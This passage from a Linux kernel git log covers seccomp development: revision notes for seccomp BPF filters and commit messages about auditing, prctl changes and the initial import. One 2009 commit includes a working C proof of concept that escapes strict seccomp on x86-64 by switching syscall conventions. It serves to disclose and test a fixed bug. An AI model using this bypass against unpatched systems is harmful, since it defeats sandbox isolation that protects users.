!user_filter check (indan@nul.nu) - only allow explicit bpf codes (indan@nul.nu) - exit_code -> exit_sig v14: - put/get_seccomp_filter takes struct task_struct (indan@nul.nu,keescook@chromium.org) - adds seccomp_chk_filter and drops general bpf_run/chk_filter user - add seccomp_bpf_load for use by net/core/filter.c - lower max per-process/per-hierarchy: 1MB - moved nnp/capability check prior to allocation (all of the above: indan@nul.nu) v13: - rebase on to 88ebdda6159ffc15699f204c33feb3e431bf9bdc v12: - added a maximum instruction count per path (indan@nul.nu,oleg@redhat.com) - removed copy_seccomp (keescook@chromium.org,indan@nul.nu) - reworded the prctl_set_seccomp comment (indan@nul.nu) v11: - reorder struct seccomp_data to allow future args expansion (hpa@zytor.com) - style clean up, @compat dropped, compat_sock_fprog32 (indan@nul.nu) - do_exit(SIGSYS) (keescook@chromium.org, luto@mit.edu) - pare down Kconfig doc reference. - extra comment clean up v10: - seccomp_data has changed again to be more aesthetically pleasing (hpa@zytor.com) - calling convention is noted in a new u32 field using syscall_get_arch. This allows for cross-calling convention tasks to use seccomp filters. (hpa@zytor.com) - lots of clean up (thanks, Indan!) v9: - n/a v8: - use bpf_chk_filter, bpf_run_filter. update load_fns - Lots of fixes courtesy of indan@nul.nu: -- fix up load behavior, compat fixups, and merge alloc code, -- renamed pc and dropped __packed, use bool compat. -- Added a hidden CONFIG_SECCOMP_FILTER to synthesize non-arch dependencies v7: (massive overhaul thanks to Indan, others) - added CONFIG_HAVE_ARCH_SECCOMP_FILTER - merged into seccomp.c - minimal seccomp_filter.h - no config option (part of seccomp) - no new prctl - doesn't break seccomp on systems without asm/syscall.h (works but arg access always fails) - dropped seccomp_init_task, extra free functions, ... - dropped the no-asm/syscall.h code paths - merges with network sk_run_filter and sk_chk_filter v6: - fix memory leak on attach compat check failure - require no_new_privs || CAP_SYS_ADMIN prior to filter installation. (luto@mit.edu) - s/seccomp_struct_/seccomp_/ for macros/functions (amwang@redhat.com) - cleaned up Kconfig (amwang@redhat.com) - on block, note if the call was compat (so the # means something) v5: - uses syscall_get_arguments (indan@nul.nu,oleg@redhat.com, mcgrathr@chromium.org) - uses union-based arg storage with hi/lo struct to handle endianness. Compromises between the two alternate proposals to minimize extra arg shuffling and account for endianness assuming userspace uses offsetof(). (mcgrathr@chromium.org, indan@nul.nu) - update Kconfig description - add include/seccomp_filter.h and add its installation - (naive) on-demand syscall argument loading - drop seccomp_t (eparis@redhat.com) v4: - adjusted prctl to make room for PR_[SG]ET_NO_NEW_PRIVS - now uses current->no_new_privs (luto@mit.edu,torvalds@linux-foundation.com) - assign names to seccomp modes (rdunlap@xenotime.net) - fix style issues (rdunlap@xenotime.net) - reworded Kconfig entry (rdunlap@xenotime.net) v3: - macros to inline (oleg@redhat.com) - init_task behavior fixed (oleg@redhat.com) - drop creator entry and extra NULL check (oleg@redhat.com) - alloc returns -EINVAL on bad sizing (serge.hallyn@canonical.com) - adds tentative use of "always_unprivileged" as per torvalds@linux-foundation.org and luto@mit.edu v2: - (patch 2 only) Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: audit abnormal end to a process due to seccompEric Paris2012-01-171-0/+2
| | | | | | | | | The audit system likes to collect information about processes that end abnormally (SIGSEGV) as this may me useful intrusion detection information. This patch adds audit support to collect information when seccomp forces a task to exit because of misbehavior in a similar way. Signed-off-by: Eric Paris <eparis@redhat.com>
* x86-64: seccomp: fix 32/64 syscall holeRoland McGrath2009-03-021-3/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* make seccomp zerocost in scheduleAndrea Arcangeli2007-07-161-0/+3
| | | | | | | | | | | | This follows a suggestion from Chuck Ebbert on how to make seccomp absolutely zerocost in schedule too. The only remaining footprint of seccomp is in terms of the bzImage size that becomes a few bytes (perhaps even a few kbytes) larger, measure it if you care in the embedded. Signed-off-by: Andrea Arcangeli <andrea@cpushare.com> Cc: Andi Kleen <ak@suse.de> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* move seccomp from /proc to a prctlAndrea Arcangeli2007-07-161-0/+26
| | | | | | | | | | This reduces the memory footprint and it enforces that only the current task can enable seccomp on itself (this is a requirement for a strightforward [modulo preempt ;) ] TIF_NOTSC implementation). Signed-off-by: Andrea Arcangeli <andrea@cpushare.com> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* Linux-2.6.12-rc2v2.6.12-rc2Linus Torvalds2005-04-161-0/+56
Initial git repository build. I'm not bothering with the full history, even though we have it. We can create a separate "historical" git archive of that later if we want to, and in the meantime it's about 3.2GB when imported into git - space that would just make the early git days unnecessarily complicated, when we don't have a lot of good infrastructure for it. Let it rip!
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